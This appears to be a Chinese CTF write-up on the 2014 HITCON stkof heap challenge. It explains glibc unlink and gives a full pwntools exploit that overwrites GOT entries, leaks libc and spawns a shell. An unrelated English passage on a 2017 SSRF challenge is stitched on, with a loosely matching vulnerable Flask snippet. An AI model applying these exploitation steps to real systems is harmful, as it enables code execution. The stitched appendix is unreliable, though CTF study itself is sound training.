2014_hitcon_stkof

题目链接
这是一道unlink的题,初学者可以通过它入门unlink
先大概了解一下unlink相关的知识点
unlink主要适用于
(64位)small chunk(?>size>=0x80)和large chunk(size>=?)(还没有测试出来)
(32位)small chunk(0x200>size>=0x40)和large chunk(size>=0x200)
下面是unlink源码(参考了ctf wiki)

/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {                                            
    // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    //这里是构造chunk所必须满足的第一个条件。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");              
    FD = P->fd;                                                                      
    BK = P->bk;                                                                      
    // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {                                                                      
        FD->bk = BK;                                                              
        BK->fd = FD;                                                              
        // 下面主要考虑 P 对应的 nextsize 双向链表的修改
        if (!in_smallbin_range (chunksize_nomask (P))                                         				 	// 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。
            // 那么其实也就没有必要对 nextsize 字段进行修改了。
            // 这里没有去判断 bk_nextsize 字段,可能会出问题。
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
            // 类似于小的 chunk 的检查思路
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
              malloc_printerr (check_action,                                      
                               "corrupted double-linked list (not small)",    
                               P, AV);                                              
            // 这里说明 P 已经在 nextsize 链表中了。
            // 如果 FD 没有在 nextsize 链表中
            if (FD->fd_nextsize == NULL) {                                      
                // 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
                // 令 FD 为 nextsize 串起来的
                if (P->fd_nextsize == P)                                      
                  FD->fd_nextsize = FD->bk_nextsize = FD;                      
                else {                                                              
                // 否则我们需要将 FD 插入到 nextsize 形成的双链表中
                    FD->fd_nextsize = P->fd_nextsize;                              
                    FD->bk_nextsize = P->bk_nextsize;                              
                    P->fd_nextsize->bk_nextsize = FD;                              
                    P->bk_nextsize->fd_nextsize = FD;                              
                  }                                                              
              } else {                                                              
                // 最后将构造的chunk中(*fd)=bk
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
              }                                                                      
          }                                                                      
      }                                                                              
}

所以我们要实现任意地址写,要做到下面几个步骤

  1. 需要两个相邻的chunk(small、large chunk),如果是向前合并,则在蓝色chunk的payload中填充chunk信息,同时要注意的一点,我们还需要对绿色chunk 的p标志位(pre chunk allocated,前一个chunk used ,则p=1;前一个chunk free,则p=0)和黄色chunkp标志位置1。
    在这里插入图片描述
  2. 当我们free 绿色chunk时,程序会误以为黄色chunk也处于free状态,会将黄色chunk和绿色chunk进行unlink操作。
  3. 我们需要先绕过验证
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
  // next_size related
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
              malloc_printerr (check_action,                                      
                               "corrupted double-linked list (not small)",    
                               P, AV); 

我们要使伪造的黄色chunk中的 fd->bk =bk->fd ,换种角度 只要满足*(fd+0x18) = *(bk+0x10)即可。那么我们是不是输入任意地址X都行。我们只要满足 fd=X-0x18,bk=X-0x10,那么就可绕过fd->bk =bk->fd 这个验证。
4. 当我们绕过这个验证后,程序会做些什么呢?

                // 最后将构造的chunk中(*fd)=bk
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;   

程序会执行下面这两行代码
意思就是
*(fd+0x18)=bk
*(bk+0x10)=fd

*(X-0x18+0x18)=(X-0x10)
*(X-0x10+0x10)=(X-0x18)

* X = (X-0x10)
* X = (X-0x18)

* X =(X-0x18)
既实现了任意地址写

下面我们通过2014_hitcon_stkof来进一步体会这个漏洞
漏洞source code

  fgets(&s, 16, stdin);
  n = atol(&s);
  if ( n > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[n] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  size = atoll(&s);
  ptr = ::s[n];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  //漏洞的关键点,输入可以任意长,所以我们可以覆盖后一个chunk的pre size和size,修改P标志位,使的我们伪造的chunk能unlink
  {
    ptr += i;
    size -= i;
  }
def alloc(size):
  p.sendline('1')
  p.sendline(str(size))
  p.recvuntil('OK\n')
def free(n):
  p.sendline('3')
  p.sendline(str(n))
  p.recvuntil('OK\n')
def edit(n,read):
  p.sendline('2')
  p.sendline(str(n))
  p.sendline(str(len(read)))
  p.send(read)
  p.recvuntil('OK\n')

利用过程

  1. 构造chunk
    我们先malloc 4个small chunk,
alloc(0x80)# 1
alloc(0x80)# 2
alloc(0x80)# 3
alloc(0x20)# 4
bss =0x0000000000602140
aim = bss+0x10 //这是我们要修改的内存的地址
fd=aim - 0x18 //这是最后填充aim的数据
bk=aim - 0x10 
payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)

为什么要在第二个chunk中构造chunk,因为这个程序中没有setbuff操作,在调用fgets 和printf函数时,会申请0x410大小的chunk,可能会对之后的操作有影响。所以我们通过构造第一个chunk来规避后面unlink的麻烦,因为我们要unlink的话,必须保证两个chunk是紧挨着的。

pwndbg> heapls
           ADDR             SIZE            STATUS
sbrk_base  0xe05000
chunk      0xe05000         0x410           (inuse)//第一次print "OK"时申请的chunk
chunk      0xe05410         0x60            (inuse)//我们申请的第一个chunk
chunk      0xe05470         0x410           (inuse)//第一次调用fgets时申请的chunk
chunk      0xe05880         0x20780         (top)
sbrk_end   0xe26000

  1. 接下来我们利用unlink将存取chunk adress信息的s数组进行修改,使其存取(s-0x8)的地址,这样我们就能使用edit进行任意地址写了。
free(3)
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']


print('put_ad=',puts_plt)
print('free_ad=',free_got)
print('fread_ad=',fread_got)
payload1=p64(0)+p64(fread_got)+p64(puts_got)+p64(free_got) 
edit(2,payload1)//我们

p64(0)覆盖(s-0x8)的内存
p64(fread_got)覆盖s的内存
p64(puts_got)覆盖s[1](s+0x8)的内存
p64(free_got) 覆盖s[2](s+0x16)的内存
3. 修改free got表,泄露fread libc地址,得到system libc地址

edit(2,p64(puts_plt))
p.sendline('3')
p.sendline(str(0))

fread = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
libcbase=u64(fread)-libc.symbols['fread']
system = libcbase+libc.symbols['system']
edit(2,p64(system))
edit(4,'/bin/sh\00')
p.sendline('3')
p.sendline(str(4))
p.interactive()

完整exp

from pwn import *
from LibcSearcher import *
context.log_level= 'debug'
p = process('./stkof')
libc = ELF('./libc.so.6')
elf = ELF('./stkof')

def alloc(size):
  p.sendline('1')
  p.sendline(str(size))
  p.recvuntil('OK\n')
def free(n):
  p.sendline('3')
  p.sendline(str(n))
  p.recvuntil('OK\n')
def edit(n,read):
  p.sendline('2')
  p.sendline(str(n))
  p.sendline(str(len(read)))
  p.send(read)
  p.recvuntil('OK\n')
raw_input()
alloc(0x80)# 1
alloc(0x80)# 2
alloc(0x80)# 3
alloc(0x20)# 4
bss =0x0000000000602140
aim = bss+0x10
fd=aim - 0x18
bk=aim - 0x10
payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)
free(3)
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']


print('put_ad=',puts_plt)
print('free_ad=',free_got)
print('fread_ad=',fread_got)
payload1=p64(0)+p64(fread_got)+p64(puts_got)+p64(free_got)
edit(2,payload1)
edit(2,p64(puts_plt))
p.sendline('3')
p.sendline(str(0))

fread = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
libcbase=u64(fread)-libc.symbols['fread']
system = libcbase+libc.symbols['system']

edit(2,p64(system))
edit(4,'/bin/sh\00')
p.sendline('3')
p.sendline(str(4))
p.interactive()

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/#2014-hitcon-stkof
https://www.cnblogs.com/alisecurity/p/5486458.html
https://paper.seebug.org/445/

### HITCON 2017 SSRF Challenge Overview The **HITCON 2017 CTF** featured a variety of challenges, including those related to Server-Side Request Forgery (SSRF). These challenges were designed to test participants' understanding of web application vulnerabilities and their ability to exploit them effectively. One notable challenge was the **SSRFme task**, which involved exploiting an SSRF vulnerability within a PHP-based system. The provided code snippet demonstrates how the `$_SERVER['HTTP_X_FORWARDED_FOR']` variable is manipulated by splitting its value using commas as delimiters[^5]. This manipulation allows attackers to control the `$http_x_headers[0]` value, potentially leading to unauthorized access or command execution scenarios. In another instance, contestants had to leverage file-writing capabilities through GET requests combined with filename parameters[^4]. By carefully crafting filenames that included shell commands such as `/readflag`, they could execute arbitrary commands on the server side. Specifically: - A request like `/?url=/&filename=aaa` would create a new file named after the specified parameter. - Subsequent exploitation steps allowed reading sensitive files from restricted directories via crafted URLs incorporating malicious payloads into both query strings (`?`) and headers. Additionally, there exists documentation regarding similar exercises where users reconstruct past competitions’ problems locally for practice purposes—such efforts often involve setting up Docker containers mimicking original environments accurately so learners may gain hands-on experience without needing direct participation during actual events themselves[^1]. For further exploration beyond just theoretical knowledge about these types of attacks but also practical implementations thereof consider reviewing additional resources discussing advanced techniques surrounding path traversal exploits alongside other common injection vectors present throughout modern-day applications today too! ```python import os from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): url = request.args.get('url', '') filename = request.args.get('filename', 'default.txt') try: response = open(url) # Vulnerable line due to lack of validation content = response.read() with open(f"/tmp/{filename}", "w") as f: f.write(content) return f"Content written successfully to {filename}" except Exception as e: return str(e), 400 if __name__ == '__main__': app.run(debug=True) ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值